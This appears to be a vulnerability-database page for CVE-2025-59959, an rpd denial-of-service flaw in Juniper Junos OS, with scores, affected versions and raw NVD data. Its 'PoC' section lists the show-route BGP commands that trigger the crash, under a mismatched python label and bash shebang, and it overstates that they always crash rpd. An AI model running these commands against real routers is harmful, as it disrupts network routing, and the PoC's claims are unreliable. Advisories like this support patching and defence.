CVE-2025-59959

Description

An Untrusted Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a local, authenticated attacker with low privileges to cause a Denial-of-Service (DoS). When the command 'show route < ( receive-protocol | advertising-protocol ) bgp > detail' is executed, and at least one of the routes in the intended output has specific attributes, this will cause an rpd crash and restart. 'show route ... extensive' is not affected. This issue affects: Junos OS: * all versions before 22.4R3-S8, * 23.2 versions before 23.2R2-S5, * 23.4 versions before 23.4R2-S5, * 24.2 versions before 24.2R2-S2, * 24.4 versions before 24.4R2; Junos OS Evolved: * all versions before 22.4R3-S8-EVO, * 23.2 versions before 23.2R2-S5-EVO, * 23.4 versions before 23.4R2-S6-EVO, * 24.2 versions before 24.2R2-S2-EVO, * 24.4 versions before 24.4R2-EVO.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:22.4:r1-s1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:22.4:r1-s2:*:*:*:*:*:* - VULNERABLE

Junos OS < 22.4R3-S8

Junos OS 23.2 < 23.2R2-S5

Junos OS 23.4 < 23.4R2-S5

Junos OS 24.2 < 24.2R2-S2

Junos OS 24.4 < 24.4R2

Junos OS Evolved < 22.4R3-S8-EVO

Junos OS Evolved 23.2 < 23.2R2-S5-EVO

Junos OS Evolved 23.4 < 23.4R2-S6-EVO

Junos OS Evolved 24.2 < 24.2R2-S2-EVO

Junos OS Evolved 24.4 < 24.4R2-EVO

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# CVE-2025-59959 PoC - Juniper Junos OS rpd DoS
# Prerequisites: Local access with low privileges to Junos OS device

# Connect to Junos device via SSH or console
# Execute the following commands as low-privilege user:

# Trigger the vulnerability
show route receive-protocol bgp detail
show route advertising-protocol bgp detail

# The above commands will cause rpd crash and restart
# No root privileges required - works with authenticated low-privilege user

# Verify rpd restart in system logs:
# show log messages | match rpd
# show system core-dumps

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59959
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59959
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59959/
[4] VulDB https://vuldb.com/cve/CVE-2025-59959
[5] https://kb.juniper.net/JSA103148
[6] https://supportportal.juniper.net/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-59959", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:03.037", "lastModified": "2026-01-23T19:38:55.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Untrusted Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a local, authenticated attacker with low privileges to cause a Denial-of-Service (DoS).\n\nWhen the command 'show route < ( receive-protocol | advertising-protocol ) bgp > detail' is executed, and at least one of the routes in the intended output has specific attributes, this will cause an rpd crash and restart.\n'show route ... extensive' is not affected.\n\n\n\n\nThis issue affects:\n\nJunos OS: \n\n\n\n * all versions before 22.4R3-S8,\n * 23.2 versions before 23.2R2-S5,\n * 23.4 versions before 23.4R2-S5,\n * 24.2 versions before 24.2R2-S2,\n * 24.4 versions before 24.4R2;\n\n\n\n\nJunos OS Evolved:\n\n\n\n * all versions before 22.4R3-S8-EVO, \n * 23.2 versions before 23.2R2-S5-EVO,\n * 23.4 versions before 23.4R2-S6-EVO,\n * 24.2 versions before 24.2R2-S2-EVO,\n * 24.4 versions before 24.4R2-EVO."}, {"lang": "es", "value": "Una vulnerabilidad de desreferencia de puntero no confiable en el demonio del protocolo de enrutamiento (rpd) de Juniper Networks Junos OS y Junos OS Evolved permite a un atacante local, autenticado y con bajos privilegios causar una denegación de servicio (DoS).\n\nCuando se ejecuta el comando 'show route < ( receive-protocol | advertising-protocol ) bgp > detail', y al menos una de las rutas en la salida prevista tiene atributos específicos, esto causará un fallo y reinicio del rpd.\n'show route ... extensive' no se ve afectado.\n\nEste problema afecta a:\n\nJunos OS:\n\n * todas las versiones anteriores a 22.4R3-S8,\n * versiones 23.2 anteriores a 23.2R2-S5,\n * versiones 23.4 anteriores a 23.4R2-S5,\n * versiones 24.2 anteriores a 24.2R2-S2,\n * versiones 24.4 anteriores a 24.4R2;\n\nJunos OS Evolved:\n\n * todas las versiones anteriores a 22.4R3-S8-EVO,\n * versiones 23.2 anteriores a 23.2R2-S5-EVO,\n * versiones 23.4 anteriores a 23.4R2-S6-EVO,\n * versiones 24.2 anteriores a 24.2R2-S2-EVO,\n * versiones 24.4 anteriores a 24.4R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "versionEndExcluding": "22.4", "matchCriteriaId": "57F66641-003B-49D6-A9B9-AB300CFE3C93"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:*", "matchCriteriaId": "1379EF30-AF04-4F98-8328-52A631F24737"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:*", "matchCriteriaId": "28E42A41-7965-456B-B0AF-9D3229CE4D4C"}, {"vulnerabl ... (truncated)